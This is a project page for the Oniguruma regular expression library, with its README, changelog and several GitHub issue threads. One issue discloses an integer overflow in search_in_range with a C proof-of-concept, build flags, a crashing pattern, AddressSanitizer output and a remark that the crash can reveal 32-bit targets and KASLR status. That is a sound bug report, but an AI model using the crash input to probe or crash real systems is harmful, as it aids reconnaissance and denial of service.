regular expression library

Overview

Build Status Code Quality: Cpp Total Alerts Fuzzing Status TrustInSoft CI

Oniguruma

https://github.com/kkos/oniguruma

Oniguruma is a modern and flexible regular expressions library. It encompasses features from different regular expression implementations that traditionally exist in different languages.

Character encoding can be specified per regular expression object.

Supported character encodings:

ASCII, UTF-8, UTF-16BE, UTF-16LE, UTF-32BE, UTF-32LE, EUC-JP, EUC-TW, EUC-KR, EUC-CN, Shift_JIS, Big5, GB18030, KOI8-R, CP1251, ISO-8859-1, ISO-8859-2, ISO-8859-3, ISO-8859-4, ISO-8859-5, ISO-8859-6, ISO-8859-7, ISO-8859-8, ISO-8859-9, ISO-8859-10, ISO-8859-11, ISO-8859-13, ISO-8859-14, ISO-8859-15, ISO-8859-16

  • GB18030: contributed by KUBO Takehiro
  • CP1251: contributed by Byte
  • doc/SYNTAX.md: contributed by seanofw

Master branch

  • NEW API: ONIG_SYNTAX_PYTHON
  • NEW API: ONIG_OPTION_IGNORECASE_IS_ASCII

Version 6.9.6

  • When using configure script, if you have the POSIX API enabled in an earlier version (disabled by default in 6.9.5) and you need application binary compatibility with the POSIX API, specify "--enable-binary-compatible-posix-api=yes" instead of "--enable-posix-api=yes". Starting in 6.9.6, "--enable-posix-api=yes" only supports source-level compatibility for 6.9.5 and earlier about POSIX API. (Issue #210)
  • NEW: configure option --enable-binary-compatible-posix-api=[yes/no]
  • NEW API: Limiting the maximum number of calls of subexp-call
  • NEW API: ONIG_OPTION_NOT_BEGIN_STRING / NOT_END_STRING / NOT_BEGIN_POSITION
  • Fixed behavior of ONIG_OPTION_NOTBOL / NOTEOL
  • Fixed many problems found by OSS-Fuzz
  • Fixed many problems found by Coverity
  • Fixed CVE-2020-26159 (This turned out not to be a problem later. #221)
  • Under cygwin and mingw, generate and install the libonig.def file (Issue #220)

Version 6.9.5 revised 1

  • Fixed Issue #192

Version 6.9.5

  • POSIX API disabled by default for Unix (* Enabled by: configure --enable-posix-api=yes)
  • Update Unicode version 13.0.0
  • NEW: Code point sequence notation \x{HHHH HHHH ...}, \o{OOOO OOOO ...}
  • NEW API: retry limit in search functions
  • NEW API: maximum nesting level of subexp call
  • Fixed behavior of isolated options in Perl and Java syntaxes. /...(?i).../

Version 6.9.4

  • NEW API: RegSet (set of regexes)
  • Fixed CVE-2019-19012
  • Fixed CVE-2019-19203 (Does not affect UTF-8, UTF-16 and UTF-32 encodings)
  • Fixed CVE-2019-19204 (Affects only PosixBasic, Emacs and Grep syntaxes)
  • Fixed CVE-2019-19246
  • Fixed some problems (found by libFuzzer test)

Version 6.9.3 (security fix release)

  • Fixed CVE-2019-13224
  • Fixed CVE-2019-13225
  • Fixed CVE-2019-16163
  • Fixed many problems (found by libFuzzer test)

Version 6.9.2 (Reiwa)

  • add doc/SYNTAX.md
  • Direct threaded code (for GCC and Clang)
  • Update Unicode version 12.1.0
  • NEW: Unicode Text Segment mode option (?y{g}) (?y{w}) (*original)

Version 6.9.1

  • Speed improvement (* especially UTF-8)

Version 6.9.0

  • Update Unicode version 11.0.0
  • NEW: add Emoji properties

Version 6.8.2

  • Fix: #80 UChar in header causes issue
  • NEW API: onig_set_callout_user_data_of_match_param() (* omission in 6.8.0)
  • add doc/CALLOUTS.API and doc/CALLOUTS.API.ja

Version 6.8.1

  • Update shared library version to 5.0.0 for API incompatible changes from 6.7.1

Version 6.8.0

  • Retry-limit-in-match function enabled by default
  • NEW: configure option --enable-posix-api=no (* enabled by default)
  • NEW API: onig_search_with_param(), onig_match_with_param()
  • NEW: Callouts of contents (?{...contents...}) (?{...}[tag][X<>]) (?{{...}})
  • NEW: Callouts of name (*name) (*name[tag]{args...})
  • NEW: Builtin callouts (*FAIL) (*MISMATCH) (*ERROR{n}) (*COUNT) (*MAX{n}) etc..
  • Examples of Callouts program: callout.c, count.c, echo.c

License

BSD license.

Install

Case 1: Linux distribution packages

  • Fedora: dnf install oniguruma
  • RHEL/CentOS: yum install oniguruma
  • Debian/Ubuntu: apt install libonig5
  • Arch: pacman -S oniguruma
  • openSUSE: zypper install oniguruma

Case 2: Manual compilation on Linux, Unix, and Cygwin platform

  1. autoreconf -vfi (* case: configure script is not found.)

  2. ./configure

  3. make

  4. make install

  • uninstall

    make uninstall

  • configuration check

    onig-config --cflags onig-config --libs onig-config --prefix onig-config --exec-prefix

Case 3: Windows 64/32bit platform (Visual Studio)

Execute make_win.bat

  onig_s.lib:  static link library
  onig.dll:    dynamic link library
  • test (ASCII/Shift_JIS)

    1. cd src
    2. copy ..\windows\testc.c .
    3. nmake -f Makefile.windows ctest

(I have checked by Visual Studio Community 2015)

Alternatively, you can build and install oniguruma using vcpkg dependency manager:

  1. git clone https://github.com/Microsoft/vcpkg.git
  2. cd vcpkg
  3. ./bootstrap-vcpkg.bat
  4. ./vcpkg integrate install
  5. ./vcpkg install oniguruma

The oniguruma port in vcpkg is kept up to date by microsoft team members and community contributors. If the version is out of date, please create an issue or pull request on the vcpkg repository.

Regular Expressions

See doc/RE or doc/RE.ja for Japanese.

Usage

Include oniguruma.h in your program. (Oniguruma API) See doc/API for Oniguruma API.

If you want to disable UChar type (== unsigned char) definition in oniguruma.h, define ONIG_ESCAPE_UCHAR_COLLISION and then include oniguruma.h.

If you want to disable regex_t type definition in oniguruma.h, define ONIG_ESCAPE_REGEX_T_COLLISION and then include oniguruma.h.

Example of the compiling/linking command line in Unix or Cygwin, (prefix == /usr/local case)

cc sample.c -L/usr/local/lib -lonig

If you want to use static link library(onig_s.lib) in Win32, add option -DONIG_EXTERN=extern to C compiler.

Sample Programs

File Description
sample/callout.c example of callouts
sample/count.c example of built-in callout *COUNT
sample/echo.c example of user defined callouts of name
sample/encode.c example of some encodings
sample/listcap.c example of the capture history
sample/names.c example of the named group callback
sample/posix.c POSIX API sample
sample/regset.c example of using RegSet API
sample/scan.c example of using onig_scan()
sample/simple.c example of the minimum (Oniguruma API)
sample/sql.c example of the variable meta characters
sample/user_property.c example of user defined Unicode property

Test Programs

File Description
sample/syntax.c Perl, Java and ASIS syntax test.
sample/crnl.c --enable-crnl-as-line-terminator test

Source Files

File Description
oniguruma.h Oniguruma API header file (public)
onig-config.in configuration check program template
regenc.h character encodings framework header file
regint.h internal definitions
regparse.h internal definitions for regparse.c and regcomp.c
regcomp.c compiling and optimization functions
regenc.c character encodings framework
regerror.c error message function
regext.c extended API functions (deluxe version API)
regexec.c search and match functions
regparse.c parsing functions.
regsyntax.c pattern syntax functions and built-in syntax definitions
regtrav.c capture history tree data traverse functions
regversion.c version info function
st.h hash table functions header file
st.c hash table functions
oniggnu.h GNU regex API header file (public)
reggnu.c GNU regex API functions
onigposix.h POSIX API header file (public)
regposerr.c POSIX error message function
regposix.c POSIX API functions
mktable.c character type table generator
ascii.c ASCII encoding
euc_jp.c EUC-JP encoding
euc_tw.c EUC-TW encoding
euc_kr.c EUC-KR, EUC-CN encoding
sjis.c Shift_JIS encoding
big5.c Big5 encoding
gb18030.c GB18030 encoding
koi8.c KOI8 encoding
koi8_r.c KOI8-R encoding
cp1251.c CP1251 encoding
iso8859_1.c ISO-8859-1 (Latin-1)
iso8859_2.c ISO-8859-2 (Latin-2)
iso8859_3.c ISO-8859-3 (Latin-3)
iso8859_4.c ISO-8859-4 (Latin-4)
iso8859_5.c ISO-8859-5 (Cyrillic)
iso8859_6.c ISO-8859-6 (Arabic)
iso8859_7.c ISO-8859-7 (Greek)
iso8859_8.c ISO-8859-8 (Hebrew)
iso8859_9.c ISO-8859-9 (Latin-5 or Turkish)
iso8859_10.c ISO-8859-10 (Latin-6 or Nordic)
iso8859_11.c ISO-8859-11 (Thai)
iso8859_13.c ISO-8859-13 (Latin-7 or Baltic Rim)
iso8859_14.c ISO-8859-14 (Latin-8 or Celtic)
iso8859_15.c ISO-8859-15 (Latin-9 or West European with Euro)
iso8859_16.c ISO-8859-16 (Latin-10)
utf8.c UTF-8 encoding
utf16_be.c UTF-16BE encoding
utf16_le.c UTF-16LE encoding
utf32_be.c UTF-32BE encoding
utf32_le.c UTF-32LE encoding
unicode.c common codes of Unicode encoding
unicode_fold_data.c Unicode folding data
windows/testc.c Test program for Windows (VC++)
Comments
  • Questions

    Questions

    Hi @kkos, I want to create a wiki page for this, just to make sure I get right. :)

    • Outside character classes, characters that must be escaped to be used literally are:

      ^$.?*+()[\|

    • In character classes, characters that must be escaped to be used literally are:

      ^-]\ (please correct me if I get it wrong)

      ^ and - can get away with this by "clever placement."

    What really confuses me is [ and ] in character classes (though I think they both should be escaped for clarity):

    • In Ruby 2.3, [ must be escaped in classes and unescaped ] raises warnings but is allowed.
    • But in some other implementation (Atom) that use Oniguruma, [ can be used unescaped in classes but ] can't. 😂
    • In POSIX, ] can be used literally by placing it at the start of a class. In Oniguruma, it can't, right?
    question 
    opened by hediyi 19
  • fix: check CalloutNameEntry for NULL before access

    fix: check CalloutNameEntry for NULL before access

    This fixes a php segfault, see https://github.com/openwrt/packages/issues/12403

    I traced it down with gdb 0xb6e37f70 in i_free_callout_name_entry (key=0x369040, e=0x0, arg=0x37afe0) at oniguruma-6.9.5_rev1/src/regparse.c:1297

    opened by mhei 13
  • Issues found with Coverity

    Issues found with Coverity

    Hi,

    As part of a Main Inclusion Request to support libonig in Ubuntu, we ran coverity on top of version 6.9.5 and it reported a total of 27 errors.

    Could you please take a look at them and let us know in case of any false positives.

    Thanks, Eduardo

    opened by dodys 12
  • App crashes with

    App crashes with "A heap has been corrupted"

    Hi dear Onuguruma creator,

    What I'm writing here is maybe a little bit out-of-topic, so sorry for that. I'd just like to kindly ask for some tip/help/advise ...

    I'm creating a wrapper around your fantastic library to build TextMateSharp, a grammar interpreter for C#.

    I'm asking you because you may help me to find or debug the issue. The problem is that we only reproduce it really very sporadically and in production environments, and that is killing us since we don't have a controlled environment to reproduce and fix.

    The exception we get

    What we're seeing only sometimes, is the following crash:

    Unhandled exception at 0x00007FFE1ABCBE99 (ntdll.dll) in winplasticx.exe.31276.dmp: 0xC0000374: A heap has been corrupted (parameters: 0x00007FFE1AC36780).

    This is the mixed stack trace:

     	ntdll.dll!RtlReportFatalFailure()
     	ntdll.dll!RtlReportCriticalFailure()
     	ntdll.dll!RtlpHeapHandleError()
     	ntdll.dll!RtlpHpHeapHandleError()
     	ntdll.dll!RtlpLogHeapFailure()
     	ntdll.dll!RtlpFreeHeapInternal()
     	ntdll.dll!RtlFreeHeap()
     	ntdll.dll!RtlpReAllocateHeap()
     	ntdll.dll!RtlpReAllocateHeapInternal()
     	ntdll.dll!RtlReAllocateHeap()
    	onigwrap.dll!00007ffde0ebd03f()
     	onigwrap.dll!00007ffde0eadf62()
     	onigwrap.dll!00007ffde0ea4919()
     	onigwrap.dll!00007ffde0eb35d1()
     	onigwrap.dll!00007ffde0e9744c()
     	onigwrap.dll!00007ffde0e971da()
     	onigwrap.dll!00007ffde0e910af()
     	[Managed to Native Transition]	
     	TextMateSharp!TextMateSharp.Internal.Oniguruma.ORegex.ORegex(string pattern, bool ignoreCase, bool multiline)
    

    Some useful information

    We reproduce the issue in both Windows 10 x64 and macOS platforms. Not sure if it's reproduced in Linux, but probably.

    The onig-wrapper is compiledincluding the static version of the oniguruma library.

    We have a minidump file for the issue.

    Can you take a look at the wrapper to see if you see everything correct? I think we're getting that "heap has been corrupted when doing onig_new: https://github.com/danipen/TextMateSharp/blob/49631c692556169a833cfccfc46c96576655d4f6/onigwrap/src/onigwrap.c#L20

    And this is how we use the wrapper from C# code: https://github.com/danipen/TextMateSharp/blob/5315ab80d6f1233ec28057d2788a5d32b7408435/src/TextMateSharp/Internal/Oniguruma/ORegex.cs

    Thanks in advance!

    opened by danipen 11
  • UB#12 fix / workaround

    UB#12 fix / workaround

    Hi @kkos !

    I'm making this PR directly as an answer to your comment: https://github.com/kkos/oniguruma/issues/208#issuecomment-703346577

    Nice to see that you have been playing with TIS CI and trying to correct the UBs :slightly_smiling_face:
    I appreciate your feedback a lot! Let me help you with getting ahead of these issues you've encountered.

    UB#3 again

    First off, I see that by trying to fix the next problem, you actually undid the fix for UB#3 with this commit: https://github.com/kkos/oniguruma/commit/bee078ee6e373351eaa0cdbdc71bb13b22f9952d

    That's why you have UB#3 coming back for the first two test cases. You can see it here:

    So I believe that this fix was good and it did solve this particular problem. Thus that would be the first thing that I'd suggest fixing again.

    UB#12

    Now, there is another separate problem to solve, let's call it UB#12 (it was already mentioned in the list here: https://github.com/kkos/oniguruma/issues/206).

    UB#12 appears in many test cases, for example here: https://ci.trust-in-soft.com/projects/kkos/oniguruma/1?page=1&test=3, with description "Invalid pointer comparison in function 'match_at' in file 'src/regexec.c' line 3733."

    oniguruma UB#12 in test case 3

    I think I know what is going on. But I don't know how to fix it, it's too complex for me... However, I can propose you a workaround.

    But before doing that I'd like to show you how you can use Explore to understand what is actually going on. And then you can decide if you prefer to find a proper fix or use the workaround.

    Exploring UB#12

    The original line of code where the problem occurs is this one:
    if (mem_end_stk[mem] == INVALID_STACK_INDEX) goto fail;

    TIS CI normalizes the code by expanding the macros, unraveling the side effects, etc, and in case of encountering an UB it inserts annotations concerning code properties. So what you see in the interactive code pane (middle pane) looks like this:

    oniguruma UB#12 interactive code

    Now you can make TIS CI show you the values of all the variables that are present at this program point (and what the pointers are pointing to) in order to understand which pointer comparison is causing the alarm.

    This is the memory state of all the relevant variables at this point (see the video how to get there with TIS CI Explore):

    oniguruma UB#12 values of variables marked

    • TIS_INVALID_STACK is equal 0 and &TIS_INVALID_STACK (in the original code it's the macro INVALID_STACK_INDEX) is pointing at it. Seems OK.
    • mem_end_stk points at the cell 16 of a dynamically allocated buffer of memory called here __malloc_match_at_l2950_13. (TIS CI gives unique names such as this one to all allocated blocks of memory in order to distinguish between them).
    • mem is equal 1.
    • So the expression mem_end_stk + mem points at the cell 24 of this allocated buffer.
    • And the value at this address (i.e. the value of the expression *(mem_end_stk + mem)) is 5.
    • We can also look into the whole contents of __malloc_match_at_l2950_13 and see that it contains a mix of different things, some addresses (e.g. &TIS_INVALID_STACK appears there too), and effectively what would be cell 24 (bits 192 to 255) there is just value 5 stored.

    Hence ultimately the comparison we make is indeed between a value 5 and an address &TIS INVALID STACK. This does not necessarily correspond to run-time error, but relying on an Undefined Behavior of the compiler is generally undesirable.

    Solutions for UB#12

    Now about fixing this situation. This seems to be much deeper than the other UBs I've discovered before... I have no idea how to avoid making such comparisons in the code here, it seems to require a non-local solution, so I don't have any fix for you... I have a workaround though.

    So there are basically two ways out of this:

    • You may decide to consider this UB as a serious problem and you may investigate further and find a way to fix it.
    • Or you may decide that this is not a serious problem and tell TIS CI to ignore it.
      There exists an option "val-warn-undefined-pointer-comparison" that can be used, so that TIS CI stops emitting alarms for this kind of UBs. This basically reduces the analysis perimeter: you tell TIS CI to give you less guarantees about your the code (i.e. do not guarantee that all pointer comparisons are valid), but it lets you ignore this particular UB. So that's fine if you feel that this UB is not dangerous or important.

    This PR implements the second option (ignoring the UB), so you can see how it looks like. It includes fixing UB#3 again.

    You may accept it or not, depending on how you feel about the importance of this UB and the level of guarantees you need.

    opened by jakub-zwolakowski 11
  • Integer overflow related to reg->dmax in search_in_range (regexec.c)

    Integer overflow related to reg->dmax in search_in_range (regexec.c)

    Hello, I found an integer overflow in search_in_range at regexec.c:5365:

    5360	      sch_range = (UChar* )range;
    5361	      if (reg->dmax != 0) {
    5362	        if (reg->dmax == INFINITE_LEN)
    5363	          sch_range = (UChar* )end;
    5364	        else {
    5365	          sch_range += reg->dmax;  //// => overflow
    5366	          if (sch_range > end) sch_range = (UChar* )end;
    5367	        }
    5368	      }
    

    reg->dmax is max repeat num, whose type is unsigned int. ONIG_MAX_REPEAT_NUM is 100000, but it can be multiplied into a very large number with distance_multiply at:

    6152	        }
    6153	
    6154	        max = (xo.len.max > 0 ? INFINITE_LEN : 0);
    6155	      }
    6156	      else {
    6157	        max = distance_multiply(xo.len.max, qn->upper);    //// => multiply into dmax
    6158	      }
    6159	
    6160	      min = distance_multiply(xo.len.min, qn->lower);      //// => multiply into dmin
    6161	      set_mml(&opt->len, min, max); 
    

    And Sch_range is a pointer. So if compiled in 32bit, sch_range += reg->dmax results into integer overflow. There should be other places related to reg->dmax/dmin which are vulnerable to integer overflow.

    PoC:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include "oniguruma.h"
    
    static int
    search(regex_t* reg, unsigned char* str, unsigned char* end)
    {
      int r;
      unsigned char *start, *range;
      OnigRegion *region;
    
      region = onig_region_new();
    
      start = str;
      range = end;
      r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
      if (r >= 0 ) {
        int i;
    
        fprintf(stdout, "match at %d  (%s)\n", r,
                ONIGENC_NAME(onig_get_encoding(reg)));
        for (i = 0; i < region->num_regs; i++) {
          fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
        }
      }
      else if (r == ONIG_MISMATCH) {
        fprintf(stdout, "search fail (%s)\n",
                ONIGENC_NAME(onig_get_encoding(reg)));
      }
      else { /* error */
        char s[ONIG_MAX_ERROR_MESSAGE_LEN];
        onig_error_code_to_str((UChar* )s, r);
        fprintf(stdout, "ERROR: %s\n", s);
        fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
        
        onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
        return -1;
      }
    
      onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
      return 0;
    }
    
    int main(int argc, char* argv[])
    {
      int r;
      regex_t* reg;
      OnigErrorInfo einfo;
    
      char *pattern = argv[1];
      char *pattern_end = pattern + strlen(pattern);
      OnigEncodingType *enc = ONIG_ENCODING_ASCII;
    
      char* str = argv[2];
      char* str_end = str+strlen(str);
    
      onig_initialize(&enc, 1);
      r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
                   ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
      if (r != ONIG_NORMAL) {
        char s[ONIG_MAX_ERROR_MESSAGE_LEN];
        onig_error_code_to_str((UChar* )s, r, &einfo);
        fprintf(stdout, "ERROR: %s\n", s);
        onig_end();
    
        if (r == ONIGERR_PARSER_BUG ||
            r == ONIGERR_STACK_BUG  ||
            r == ONIGERR_UNDEFINED_BYTECODE ||
            r == ONIGERR_UNEXPECTED_BYTECODE) {
          return -2;
        }
        else
          return -1;
      }
    
      if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
        r = search(reg, str, str_end);
      } else {
        fprintf(stdout, "Invalid string\n");
      }
    
      onig_free(reg);
      onig_end();
      return 0;
    }
    

    Compilation:

    ./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address"
    gcc -m32 -fsanitize=address -O0 -I./oniguruma-gcc-asan-32/src -ggdb3 poc-dmax-search-in-range.c ./oniguruma-gcc-asan-32/src/.libs/libonig.a -o poc-dmax-search-in-range
    

    Output with pattern = x{55380}{77548}0 and string = x:

    root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./poc-dmax-search-in-range x{55380}{77548}0 x
    ASAN:SIGSEGV
    =================================================================
    ==1347==ERROR: AddressSanitizer: SEGV on unknown address 0xffc6fd0b (pc 0x080bf994 bp 0xffcc6768 sp 0xffcc6730 T0)
        #0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
        #1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
        #2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
        #3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
        #4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
        #5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
        #6 0xf703d636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
        #7 0x8048b00  (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
    ==1347==ABORTING
    

    In sunday_quick_search, the PoC gets crashed because p points to an invalid memory address. If it does not crash, p luckily points to a valid memory address. That it crashes or does not crash depends on the supplied pattern. This bug at least can be used to detect if the target system is 32bit or not. And if the target system is 32bit, is the KASLR is enable or not (constantly crashes or constantly no-crashes means no KASLR).

    -- Thanks & Regards, Nguyễn Đức MáșĄnh [E] [email protected]

    opened by ManhNDd 11
  • 6.9.1: test core dumps

    6.9.1: test core dumps

    make[3]: Leaving directory '/home/tkloczko/rpmbuild/BUILD/onig-6.9.1/test'
    make[3]: Entering directory '/home/tkloczko/rpmbuild/BUILD/onig-6.9.1/test'
    ../test-driver: line 107: 31153 Segmentation fault      (core dumped) "$@" > $log_file 2>&1
    FAIL: testp
    
    (gdb) r
    Starting program: /home/tkloczko/rpmbuild/BUILD/onig-6.9.1/test/.libs/lt-testp 
    Missing separate debuginfos, use: dnf debuginfo-install glibc-2.29-7.fc30.x86_64
    OK: // ''
    
    Program received signal SIGSEGV, Segmentation fault.
    0x00007ffff7e8b610 in free () from /usr/lib64/libc.so.6
    (gdb) bt full
    #0  0x00007ffff7e8b610 in free () from /usr/lib64/libc.so.6
    No symbol table info available.
    #1  0x00007ffff7ee50ae in regfree () from /usr/lib64/libc.so.6
    No symbol table info available.
    #2  0x000055555555b5fd in xx (pattern=0x55555555c05b "", str=0x55555555c05b "", from=0, 
    to=0, mem=0, not=0) at testc.c:79
            r = <optimized out>
            reg = {onig = 0x0, re_nsub = 0, comp_options = 224}
            buf = '\377' <repeats 200 times>
            pmatch = {{rm_so = 0, rm_eo = 0}, {rm_so = -1, rm_eo = -1} <repeats 24 times>}
    #3  0xffffffffffffffff in ?? ()
    No symbol table info available.
    #4  0xffffffffffffffff in ?? ()
    No symbol table info available.
    #5  0xffffffffffffffff in ?? ()
    No symbol table info available.
    #6  0xffffffffffffffff in ?? ()
    No symbol table info available.
    #7  0xffffffffffffffff in ?? ()
    No symbol table info available.
    #8  0xffffffffffffffff in ?? ()
    No symbol table info available.
    #9  0xffffffffffffffff in ?? ()
    No symbol table info available.
    #10 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #11 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #12 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #13 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #14 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #15 0xffffffffffffffff in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #16 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #17 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #18 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #19 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #20 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #21 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #22 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #23 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #24 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #25 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #26 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #27 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #28 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #29 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #30 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #31 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #32 0xffffffffffffffff in ?? ()
    No symbol table info available.
    --Type <RET> for more, q to quit, c to continue without paging--
    #33 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #34 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #35 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #36 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #37 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #38 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #39 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #40 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #41 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #42 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #43 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #44 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #45 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #46 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #47 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #48 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #49 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #50 0xffffffffffffffff in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #51 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #52 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #53 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #54 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #55 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #56 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #57 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #58 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #59 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #60 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #61 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #62 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #63 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #64 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #65 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #66 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #67 0xffffffffffffffff in ?? ()
    No symbol table info available.
    --Type <RET> for more, q to quit, c to continue without paging--
    #68 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #69 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #70 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #71 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #72 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #73 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #74 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #75 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #76 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #77 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #78 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #79 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #80 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #81 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #82 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #83 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #84 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #85 0xffffffffffffffff in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #86 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #87 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #88 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #89 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #90 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #91 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #92 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #93 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #94 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #95 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #96 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #97 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #98 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #99 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #100 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #101 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #102 0xffffffffffffffff in ?? ()
    No symbol table info available.
    --Type <RET> for more, q to quit, c to continue without paging--
    #103 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #104 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #105 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #106 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #107 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #108 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #109 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #110 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #111 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #112 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #113 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #114 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #115 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #116 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #117 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #118 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #119 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #120 0xffffffffffffffff in ?? ()
    --Type <RET> for more, q to quit, c to continue without paging--
    No symbol table info available.
    #121 0xffffffffffffffff in ?? ()
    No symbol table info available.
    #122 0xffffffffffffffff in ?? ()
    No symbol table info available.
